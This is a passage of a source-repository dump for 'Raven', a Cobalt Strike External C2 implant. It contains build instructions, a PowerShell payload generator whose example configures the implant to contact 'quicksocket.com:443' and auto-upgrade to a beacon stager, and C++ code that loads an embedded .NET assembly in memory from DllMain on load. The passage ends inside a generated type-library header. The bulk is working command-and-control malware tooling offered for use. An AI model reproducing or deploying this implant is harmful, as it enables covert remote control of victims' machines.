Repository: xorrior/raven Branch: master Commit: b28bbfee2536 Files: 42 Total size: 652.6 KB Directory structure: gitextract_6uyg184h/ ├── .gitignore ├── LICENSE ├── README.md ├── client/ │ └── netRaven/ │ ├── FodyWeavers.xml │ ├── New-RavenHeader.ps1 │ ├── New-RavenPayload.ps1 │ ├── Raven/ │ │ ├── .gitignore │ │ ├── Raven.cpp │ │ ├── Raven.vcxproj │ │ ├── Raven.vcxproj.filters │ │ ├── ReadMe.txt │ │ ├── clr.cpp │ │ ├── clr.hpp │ │ ├── dllmain.cpp │ │ ├── mscorlib.tlh │ │ ├── netRaven_dll.hpp │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ ├── targetver.h │ │ └── utils.hpp │ ├── netRaven/ │ │ ├── Core.cs │ │ ├── Crypto.cs │ │ ├── Loader.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ └── Resources.resx │ │ ├── TaskHandler.cs │ │ ├── netRaven.csproj │ │ └── packages.config │ ├── netRaven.sln │ └── ravenDebug/ │ ├── Program.cs │ ├── Properties/ │ │ └── AssemblyInfo.cs │ ├── app.config │ ├── obj/ │ │ └── Debug/ │ │ ├── ravenDebug.csproj.CoreCompileInputs.cache │ │ └── ravenDebug.csprojAssemblyReference.cache │ └── ravenDebug.csproj ├── externalc2.cna └── server/ ├── handler.go ├── index.html ├── main.go ├── setup.sh └── userhandler.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Prerequisites *.d # Compiled Object files *.slo *.lo *.o *.obj # Precompiled Headers *.gch *.pch # Compiled Dynamic libraries *.so *.dylib *.dll # Fortran module files *.mod *.smod # Compiled Static libraries *.lai *.la *.a *.lib # Executables *.exe *.out *.app ================================================ FILE: LICENSE ================================================ BSD 3-Clause License Copyright (c) 2019, Chris Ross All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.md ================================================ # Raven CobaltStrike External C2 for Websockets * Additional info: https://www.cobaltstrike.com/help-externalc2 # Server Build (Ubuntu) * Copy the server folder to your VPS. * Run ./setup.sh as root or with sudo # Client build (Windows) * Copy the client folder to a Windows development host. * Install the Windows 10, 8.1, or 7 [SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk) * Verify that MSBuild is installed and note the MSBuild tools version noted in the registry key here: HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\[Version] * Run New-RavenPayload.ps1. Use Get-Help to view the available options. * That's all folks. YMMV ================================================ FILE: client/netRaven/FodyWeavers.xml ================================================ ================================================ FILE: client/netRaven/New-RavenHeader.ps1 ================================================ function New-RavenHeader { <# .SYNOPSIS Generates a new header file in the post build event for the slack-client Author: @tifkin_ Lee Christensen #> [CmdletBinding()] [OutputType([string])] Param ( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] $AssemblyPath ) $Bytes = Get-Content -Raw -Encoding Byte $AssemblyPath $OutputStr = New-Object System.Text.StringBuilder $Counter = 1 foreach($Byte in $Bytes) { $null = $OutputStr.Append("0x$('{0:X2}' -f $Byte),") if($Counter % 12 -eq 0) { $null = $OutputStr.AppendLine() $null = $OutputStr.Append("`t") } $Counter++ } $null = $OutputStr.Remove($OutputStr.Length-1,1) $Source = @' #ifndef NETRAVENDLL_H_ #define NETRAVENDLL_H_ static const unsigned char netraven_dll[] = { REPLACE }; static const unsigned int NETRAVEN_dll_len = LENGTH; #endif '@ $Source = $Source -replace 'REPLACE',$OutputStr.ToString() $Source = $Source -replace 'LENGTH',$Bytes.Length $Source } ================================================ FILE: client/netRaven/New-RavenPayload.ps1 ================================================ function New-RavenPayload { <# .SYNOPSIS This function is used to generate a .resx file for the clients configuration and then use MSBuild to generate a dll .DESCRIPTION This function will create a .resx file with configuration options for the raven implant. The options are written to the resx file as a serialized custom .net object. During the build process, the resx file will be added as an embedded resource.After the build is complete, the payload dll will be written to the output directory. .PARAMETER PipePrefix Prefix that will be used in the pipename prefix_(alphanumeric string). Required .PARAMETER Block Block time used by the external C2 server to wait for tasks in milliseconds. .PARAMETER Server Host name or IP Address and Port for the server. Format = HOST:PORT .PARAMETER ProjectRoot Root project directory for the netRaven client .PARAMETER Ssl SWITCH. Use Ssl for websocket connections .PARAMETER x64 SWITCH. Generate an x64 payload .PARAMETER ToolsVersion Version of MSBuild tools to use. Found in the registry: HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\[Version] .PARAMETER OutputPath Path to where the compiled payload should be saved. .PARAMETER AutoUpgrade SWITCH. Configures the raven client so that it will automatically send a request for a beacon stager to the controller. .EXAMPLE Create a new raven payload that will auto upgrade to beacon upon execution. New-RavenPayload -PipePrefix "TermSrv" -Block 5000 -Server "quicksocket.com:443" -ProjectRoot "C:\Users\user\Projects\raven\client\netRaven" -Ssl -AutoUpgrade #> [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [string]$PipePrefix, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [int]$Block = 100, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [string]$Server, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [ValidateScript({Test-Path $_})] [string]$ProjectRoot = ".", [Parameter(Mandatory = $false)] [switch]$Ssl, [Parameter(Mandatory = $false)] [switch]$x64, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$ToolsVersion = "14.0", [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$OutputPath = "$($pwd.Path)\$Server`_raven.dll", [Parameter(Mandatory = $false)] [switch]$AutoUpgrade ) # Add the System.Windows.Forms assembly Add-Type -AssemblyName System.Windows.Forms # Check to make sure the resource file is present if (-not (Test-Path (Resolve-Path $ProjectRoot))) { Write-Error "[!] Unable to find $ProjectRoot" break } $SlnFilePath = "$ProjectRoot\netRaven.sln" if ($x64) { $platform = "x64" $dllPath = "$ProjectRoot\x64\Release\Raven.dll" } else { $platform = "x86" $dllPath = "$ProjectRoot\Release\Raven.dll" } Write-Verbose "[+] Configuring an $platform dll" $resourcePath = "$(Resolve-Path $ProjectRoot)\netRaven\Properties\Resources.resx" # Set the server url if ($PSBoundParameters['Ssl'] -eq $true) { $ravenserver = "wss://$Server/ws" } else { $ravenserver = "ws://$Server/ws" } if ($PSBoundParameters['AutoUpgrade'] -eq $true) { $auto = $true } else { $auto = $false } # Create the pipename $pipename = "$($PipePrefix)_$(Get-RandomString -length 4)" try { $ResourceFile = New-Object -TypeName "System.Resources.ResXResourceWriter" -ArgumentList @($resourcePath) } catch { Write-Error $_ break } Write-Verbose "[+] Writing configuration options to $resourcePath" $ResourceFile.AddResource("server", $ravenserver) $ResourceFile.AddResource("pipename", $pipename) $ResourceFile.AddResource("block", $Block) $ResourceFile.AddResource("auto", $auto) $ResourceFile.Generate() $ResourceFile.Close() # Build the project using MSBuild.exe $out = [ordered] @{ pipename = $pipename block = $block path = "" AutoUpgrade = $auto Server = $Server } if (-not $(Test-Path -Path "HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\$ToolsVersion")) { Write-Verbose "[-] Unable to locate MSBuild tools path" break } $MSBuildBinDir = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\$ToolsVersion" -Name "MSBuildToolsPath").MSBuildToolsPath $MSBuild = "$MSBuildBinDir`MSBuild.exe" $BuildArgs = @{ FilePath = $MSBuild ArgumentList = $SlnFilePath, "/p:Configuration=`"Release`"", "/p:Platform=`"$platform`"", "/p:PlatformToolset=v140", "/clp:ErrorsOnly", "/verbosity:quiet" Wait = $true NoNewWindow = $true } Write-Verbose "[+] Initiating MSBuild process.." Start-Process @BuildArgs # Copy the somberfire dll to the output dir Write-Verbose "[+] Copying the compiled dll to $OutputPath" Copy-Item -Path $dllPath -Destination $OutputPath -Force $out.path = $OutputPath $out } Function Get-RandomString { [CmdletBinding()] Param ( [int] $length = 8 ) Begin{ } Process{ Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) ) } } ================================================ FILE: client/netRaven/Raven/.gitignore ================================================ # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, build with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out *.d # Compiled Object files *.slo *.lo *.o *.obj # Precompiled Headers *.gch *.pch # Compiled Dynamic libraries *.so *.dylib *.dll # Fortran module files *.mod *.smod # Compiled Static libraries *.lai *.la *.a *.lib # Executables *.exe *.out *.app # User-specific files *.suo *.user *.sln.docstates # Build results [Dd]ebug/ [Rr]elease/ x64/ [Bb]in/ [Oo]bj/ # build folder is nowadays used for build scripts and should not be ignored #build/ # NuGet Packages *.nupkg # The packages folder can be ignored because of Package Restore **/packages/* # except build/, which is used as an MSBuild target. !**/packages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/packages/repositories.config # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* *_i.c *_p.c *.ilk *.meta *.obj *.pch *.pdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tmp *.tmp_proj *.log *.vspscc *.vssscc .builds *.pidb *.log *.scc # OS generated files # .DS_Store* Icon? # Visual C++ cache files ipch/ *.aps *.ncb *.opensdf *.sdf *.cachefile # Visual Studio profiler *.psess *.vsp *.vspx # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # NCrunch *.ncrunch* .*crunch*.local.xml # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.Publish.xml # Windows Azure Build Output csx *.build.csdef # Windows Store app package directory AppPackages/ # Others *.Cache ClientBin/ [Ss]tyle[Cc]op.* ~$* *~ *.dbmdl *.[Pp]ublish.xml *.pfx *.publishsettings modulesbin/ tempbin/ # EPiServer Site file (VPP) AppData/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file to a newer # Visual Studio version. Backup files are not needed, because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm # vim *.txt~ *.swp *.swo # svn .svn # CVS - Source Control **/CVS/ # Remainings from resolvings conflicts in Source Control *.orig # SQL Server files **/App_Data/*.mdf **/App_Data/*.ldf **/App_Data/*.sdf #LightSwitch generated files GeneratedArtifacts/ _Pvt_Extensions/ ModelManifest.xml # ========================= # Windows detritus # ========================= # Windows image file caches Thumbs.db ehthumbs.db # Folder config file Desktop.ini # Recycle Bin used on file shares $RECYCLE.BIN/ # Mac desktop service store files .DS_Store # SASS Compiler cache .sass-cache # Visual Studio 2014 CTP **/*.sln.ide # Visual Studio temp something .vs/ # dotnet stuff project.lock.json # VS 2015+ *.vc.vc.opendb *.vc.db # Rider .idea/ # Visual Studio Code .vscode/ # Output folder used by Webpack or other FE stuff **/node_modules/* **/wwwroot/* # SpecFlow specific *.feature.cs *.feature.xlsx.* *.Specs_*.html ##### # End of core ignore list, below put you custom 'per project' settings (patterns or path) ##### ================================================ FILE: client/netRaven/Raven/Raven.cpp ================================================ // Raven.cpp : Defines the exported functions for the DLL application. // #include "stdafx.h" ================================================ FILE: client/netRaven/Raven/Raven.vcxproj ================================================  Debug Win32 Release Win32 Debug x64 Release x64 {CD4CC899-F931-4A5D-8B43-099F647C6127} Win32Proj Raven 8.1 DynamicLibrary true v140 Unicode DynamicLibrary false v140 true Unicode DynamicLibrary true v140 Unicode DynamicLibrary false v140 true Unicode true true false false Level3 Disabled WIN32;_DEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions) true Windows true Level3 MinSpace _DEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions) true Size MultiThreaded Windows true Level3 MaxSpeed true true WIN32;NDEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions) true Windows true true true Level3 MinSpace true NDEBUG;_WINDOWS;_USRDLL;RAVEN_EXPORTS;%(PreprocessorDefinitions) true Size MultiThreaded Windows true true true false false false false ================================================ FILE: client/netRaven/Raven/Raven.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Header Files Header Files Header Files Header Files Header Files Source Files Source Files Source Files Source Files ================================================ FILE: client/netRaven/Raven/ReadMe.txt ================================================ ======================================================================== DYNAMIC LINK LIBRARY : Raven Project Overview ======================================================================== AppWizard has created this Raven DLL for you. This file contains a summary of what you will find in each of the files that make up your Raven application. Raven.vcxproj This is the main project file for VC++ projects generated using an Application Wizard. It contains information about the version of Visual C++ that generated the file, and information about the platforms, configurations, and project features selected with the Application Wizard. Raven.vcxproj.filters This is the filters file for VC++ projects generated using an Application Wizard. It contains information about the association between the files in your project and the filters. This association is used in the IDE to show grouping of files with similar extensions under a specific node (for e.g. ".cpp" files are associated with the "Source Files" filter). Raven.cpp This is the main DLL source file. When created, this DLL does not export any symbols. As a result, it will not produce a .lib file when it is built. If you wish this project to be a project dependency of some other project, you will either need to add code to export some symbols from the DLL so that an export library will be produced, or you can set the Ignore Input Library property to Yes on the General propert page of the Linker folder in the project's Property Pages dialog box. ///////////////////////////////////////////////////////////////////////////// Other standard files: StdAfx.h, StdAfx.cpp These files are used to build a precompiled header (PCH) file named Raven.pch and a precompiled types file named StdAfx.obj. ///////////////////////////////////////////////////////////////////////////// Other notes: AppWizard uses "TODO:" comments to indicate parts of the source code you should add to or customize. ///////////////////////////////////////////////////////////////////////////// ================================================ FILE: client/netRaven/Raven/clr.cpp ================================================ #include "clr.hpp" #include "utils.hpp" #include /* MIT License Copyright (c) 2017 Aaron Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ namespace clr { ClrAssembly::ClrAssembly(mscorlib::_AssemblyPtr p) : p_(p) { } mscorlib::_TypePtr ClrAssembly::find_type(const std::wstring& clsname) { mscorlib::_TypePtr pClsType = nullptr; mscorlib::_TypePtr* pTypes = nullptr; BSTR pName = L""; HRESULT hr = S_OK; bool found = false; SAFEARRAY* pArray = nullptr; long lower_bound = 0; long upper_bound = 0; if (FAILED((hr = p_->GetTypes(&pArray)))) { LOG_ERROR("Failed to get types!", hr); return false; } SafeArrayGetLBound(pArray, 1, &lower_bound); SafeArrayGetUBound(pArray, 1, &upper_bound); SafeArrayAccessData(pArray, (void**)&pTypes); auto elem_count = upper_bound - lower_bound + 1; for (auto i = 0; i < elem_count; ++i) { pClsType = pTypes[i]; if (FAILED((hr = pClsType->get_FullName(&pName)))) { LOG_ERROR("Failed to query for name!", hr); break; } if (pName == clsname) { found = true; break; } } SafeArrayUnaccessData(pArray); if (!found) return nullptr; return pClsType; } std::unique_ptr ClrAssembly::construct(const std::wstring & classname) { std::unique_ptr cls; HRESULT hr = S_OK; bool found = false; mscorlib::_TypePtr pClsType = nullptr; bstr_t pName(classname.c_str()); variant_t var; if (FAILED((hr = p_->CreateInstance(pName, &var)))) { LOG_ERROR("Failed to create class instance!", hr); return nullptr; } pClsType = find_type(classname); if (pClsType == nullptr) { LOG("Failed to find class!"); return nullptr; } cls = std::make_unique(pClsType, var); return cls; } std::wstring ClrDomain::find_runtime() { HRESULT hr = S_OK; int g_maj = 0; int g_min = 0; int g_build = 0; std::wstring ver = clr_default_version; if (!pMeta_) return ver; IEnumUnknown* pRuntimes = nullptr; ICLRRuntimeInfo* pInfo = nullptr; ULONG fetched = 0; if (FAILED((hr = pMeta_->EnumerateInstalledRuntimes(&pRuntimes)))) { LOG_ERROR("Failed to enumerate installed runtimes!", hr); return ver; } while (SUCCEEDED((hr = pRuntimes->Next(1, (IUnknown**)&pInfo, &fetched))) && 0 != fetched) { wchar_t ver_string[clr_ver_reservation] = { 0 }; DWORD ver_size = clr_ver_reservation; int c_min = 0, c_maj = 0, c_build = 0; if (FAILED((hr = pInfo->GetVersionString(ver_string, &ver_size)))) { LOG_ERROR("Failed to get version string!", hr); continue; } swscanf_s(ver_string, L"v%d.%d.%d", &c_maj, &c_min, &c_build); if (c_maj > g_maj) { g_maj = c_maj; g_min = c_min; g_build = c_build; ver = ver_string; } else if (c_maj == g_maj) { if (c_min > g_min || (c_min == g_min && c_build > g_build)) { g_min = c_min; g_build = c_build; ver = ver_string; } } } return ver; } ClrDomain::ClrDomain() { HRESULT hr = S_OK; BOOL loadable = FALSE; LOG("Runtime initialization started..."); if (FAILED((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(pMeta_.GetAddressOf()))))) { LOG_ERROR("Failed to initialize metahost!", hr); //throw EXCEPT("Host initialization failed!"); } auto clr_version = find_runtime(); if (FAILED((hr = pMeta_->GetRuntime(clr_version.c_str(), IID_PPV_ARGS(pRuntime_.GetAddressOf()))))) { LOG_ERROR("Runtime initialization failed!", hr); //throw EXCEPT("Runtime init failed!"); } if (FAILED((hr = pRuntime_->IsLoadable(&loadable)) || !loadable)) { LOG_ERROR("Runtime not loadable!", hr); //throw EXCEPT("Runtime not loadable!"); } if (FAILED((hr = pRuntime_->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(pHost_.GetAddressOf()))))) { LOG_ERROR("Failed to get runtime host!", hr); //throw EXCEPT("Unable to host application!"); } if (FAILED((hr = pHost_->Start()))) { LOG_ERROR("Host failed to start!", hr); //throw EXCEPT("Host start failed!"); } LOG("Initialization Complete!"); } ClrDomain::~ClrDomain() { pHost_->Stop(); } std::unique_ptr ClrDomain::load(std::vector& mod) { std::unique_ptr clr; IUnknownPtr pDomainThunk = nullptr; mscorlib::_AppDomainPtr pAppDomain = nullptr; mscorlib::_AssemblyPtr pAsm = nullptr; HRESULT hr = S_OK; SAFEARRAY* pModContainer = nullptr; auto modSize = mod.size(); if (modSize > ULONG_MAX) { LOG("Failed to load module, file size is too large!"); return nullptr; } if (FAILED((hr = pHost_->GetDefaultDomain(&pDomainThunk)))) { LOG_ERROR("Failed to get default appdomain!", hr); return nullptr; } if (FAILED((hr = pDomainThunk->QueryInterface(IID_PPV_ARGS(&pAppDomain))))) { LOG_ERROR("Failed to get app domain interface from thunk!", hr); return nullptr; } if (nullptr == (pModContainer = SafeArrayCreateVector(VT_UI1, 0, static_cast(modSize)))) { LOG("Failed to allocate safe array vector!"); return nullptr; } unsigned char* buf = nullptr; if (FAILED((hr = SafeArrayAccessData(pModContainer, reinterpret_cast(&buf))))) { LOG_ERROR("Failed to access safe array!", hr); return nullptr; } memcpy(buf, mod.data(), mod.size()); SafeArrayUnaccessData(pModContainer); if (FAILED((hr = pAppDomain->Load_3(pModContainer, &pAsm)))) { LOG_ERROR("Failed to load assembly!", hr); return nullptr; } arr_.push_back(std::shared_ptr(pModContainer, [](auto p) { if (p) SafeArrayDestroy(p); })); clr = std::make_unique(pAsm); return clr; } ClrClass::ClrClass(mscorlib::_TypePtr pt, variant_t inst) : pType_(pt), instance_(inst) { } } ================================================ FILE: client/netRaven/Raven/clr.hpp ================================================ #pragma once /* MIT License Copyright (c) 2017 Aaron Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include #include #include #include #include #include #include #pragma comment(lib, "mscoree.lib") #import raw_interfaces_only \ high_property_prefixes("_get","_put","_putref") \ rename("ReportEvent", "InteropServices_ReportEvent") namespace clr { constexpr wchar_t clr_default_version[] = /*L"v2.0.50727"; */L"v4.0.30319"; constexpr unsigned long clr_ver_reservation = 30; constexpr mscorlib::BindingFlags mem_fn_call = static_cast(mscorlib::BindingFlags_InvokeMethod | mscorlib::BindingFlags_Instance | mscorlib::BindingFlags_Public); constexpr mscorlib::BindingFlags static_fn_call = static_cast(mscorlib::BindingFlags_InvokeMethod | mscorlib::BindingFlags_Static | mscorlib::BindingFlags_Public); class ClrClass { private: mscorlib::_TypePtr pType_; variant_t instance_; public: ClrClass(mscorlib::_TypePtr pt, variant_t inst); template variant_t invoke_method(const std::wstring& name, Args&&... args) { variant_t ret; HRESULT hr = S_OK; bstr_t fn_name(name.c_str()); std::array var_args{ variant_t(args)... }; auto arglist = SafeArrayCreateVector(VT_VARIANT, 0, var_args.size()); std::shared_ptr arglist_ptr(arglist, [](auto p) { if (p) SafeArrayDestroy(p); }); for (auto i = 0; i < sizeof...(args); ++i) { LONG tmp = i; if (FAILED((hr = SafeArrayPutElement(arglist, &tmp, &var_args[i])))) { throw std::runtime_error("Failed to add element to safe array!"); } } if (FAILED((hr = pType_->InvokeMember_3(fn_name, mem_fn_call, nullptr, instance_, arglist, &ret)))) { throw std::runtime_error("Failed to invoke method!"); } return ret; } }; class ClrAssembly { private: mscorlib::_AssemblyPtr p_; SAFEARRAY* mod_; public: ClrAssembly(mscorlib::_AssemblyPtr p); mscorlib::_TypePtr find_type(const std::wstring& clsname); std::unique_ptr construct(const std::wstring& classname); template variant_t invoke_static(const std::wstring& clsName, const std::wstring& methodName, Args&&... args) { variant_t ret; variant_t v_empty; HRESULT hr = S_OK; bstr_t fn_name(methodName.c_str()); std::array var_args{ variant_t(args)... }; auto pType = find_type(clsName); if (nullptr == pType) throw std::runtime_error("Failed to find type!"); auto arglist = SafeArrayCreateVector(VT_VARIANT, 0, var_args.size()); std::shared_ptr arglist_ptr(arglist, [](auto p) { if (p) SafeArrayDestroy(p); }); for (auto i = 0; i < sizeof...(args); ++i) { LONG tmp = i; if (FAILED((hr = SafeArrayPutElement(arglist, &tmp, &var_args[i])))) { throw std::runtime_error("Failed to add element to safe array!"); } } if (FAILED((hr = pType->InvokeMember_3(fn_name, static_fn_call, nullptr, v_empty, arglist, &ret)))) { throw std::runtime_error("Failed to invoke method!"); } return ret; } }; class ClrDomain { private: Microsoft::WRL::ComPtr pMeta_; Microsoft::WRL::ComPtr pRuntime_; Microsoft::WRL::ComPtr pHost_; std::vector> arr_; std::wstring find_runtime(); public: ClrDomain(); ~ClrDomain(); std::unique_ptr load(std::vector& mod); }; } ================================================ FILE: client/netRaven/Raven/dllmain.cpp ================================================ // dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" #include "clr.hpp" #include "netRaven_dll.hpp" void LoadAndRun(LPVOID lpParam) { clr::ClrDomain domain; std::vector vec(netraven_dll, netraven_dll + NETRAVEN_dll_len); //Load the assembly into the app domain auto res = domain.load(vec); if (!res) { exit(0); } //Call the public static Execute method for the selected module res->invoke_static(L"netRaven.Core", L"Run", L""); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: LoadAndRun(NULL); case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ================================================ FILE: client/netRaven/Raven/mscorlib.tlh ================================================ // Created by Microsoft (R) C/C++ Compiler Version 14.00.24215.1 (b77ecd61). // // c:\users\dso\desktop\remoterecon\native\x64\release\mscorlib.tlh // // C++ source equivalent of Win32 type library mscorlib.tlb // compiler-generated file created 07/30/18 at 01:02:57 - DO NOT EDIT! #pragma once #pragma pack(push, 8) #include namespace mscorlib { // // Forward references and typedefs // struct __declspec(uuid("bed7f4ea-1a96-11d2-8f08-00a0c9a6186d")) /* LIBID */ __mscorlib; struct /* coclass */ Object; struct __declspec(uuid("d0eeaa62-3d30-3ee2-b896-a2f34dda47d8")) /* dual interface */ ISerializable; struct __declspec(uuid("b36b5c63-42ef-38bc-a07e-0b34c98f164a")) /* dual interface */ _Exception; struct /* coclass */ Exception; struct /* coclass */ ValueType; struct __declspec(uuid("deb0e770-91fd-3cf6-9a6c-e6a3656f3965")) /* dual interface */ IComparable; struct __declspec(uuid("9a604ee7-e630-3ded-9444-baae247075ab")) /* dual interface */ IFormattable; struct __declspec(uuid("805e3b62-b5e9-393d-8941-377d8bf4556b")) /* dual interface */ IConvertible; struct /* coclass */ Enum; struct __declspec(uuid("0cb251a7-3ab3-3b5c-a0b8-9ddf88824b85")) /* dual interface */ ICloneable; struct /* coclass */ Delegate; struct /* coclass */ MulticastDelegate; struct __declspec(uuid("496b0abe-cdee-11d3-88e8-00902754c43a")) /* dual interface */ IEnumerable; struct __declspec(uuid("de8db6f8-d101-3a92-8d1c-e72e5f10e992")) /* dual interface */ ICollection; struct __declspec(uuid("7bcfa00f-f764-3113-9140-3bbd127a96bb")) /* dual interface */ IList; struct /* coclass */ Array; struct __declspec(uuid("496b0abf-cdee-11d3-88e8-00902754c43a")) /* dual interface */ IEnumerator; struct __declspec(uuid("805d7a98-d4af-3f0f-967f-e5cf45312d2c")) /* dual interface */ IDisposable; struct /* coclass */ String; struct __declspec(uuid("c20fd3eb-7022-3d14-8477-760fab54e50d")) /* dual interface */ IComparer; struct __declspec(uuid("aab7c6ea-cab0-3adb-82aa-cf32e29af238")) /* dual interface */ IEqualityComparer; struct /* coclass */ StringComparer; enum StringComparison; struct /* coclass */ StringBuilder; enum DateTimeKind; struct __declspec(uuid("ab3f47e4-c227-3b05-bf9f-94649bef9888")) /* dual interface */ IDeserializationCallback; struct /* coclass */ SystemException; struct /* coclass */ OutOfMemoryException; struct /* coclass */ StackOverflowException; struct /* coclass */ DataMisalignedException; struct /* coclass */ ExecutionEngineException; struct /* coclass */ MemberAccessException; struct __declspec(uuid("03973551-57a1-3900-a2b5-9083e3ff2943")) /* interface */ _Activator; struct /* coclass */ Activator; struct /* coclass */ AccessViolationException; struct /* coclass */ ApplicationActivator; struct /* coclass */ ApplicationException; struct /* coclass */ EventArgs; struct /* coclass */ ResolveEventArgs; struct /* coclass */ AssemblyLoadEventArgs; struct /* coclass */ ResolveEventHandler; struct /* coclass */ AssemblyLoadEventHandler; struct /* coclass */ AppDomainInitializer; struct /* coclass */ MarshalByRefObject; struct __declspec(uuid("05f696dc-2b29-3663-ad8b-c4389cf2a713")) /* interface */ _AppDomain; struct __declspec(uuid("35a8f3ac-fe28-360f-a0c0-9a4d50c4682a")) /* dual interface */ IEvidenceFactory; struct /* coclass */ AppDomain; struct /* coclass */ CrossAppDomainDelegate; enum 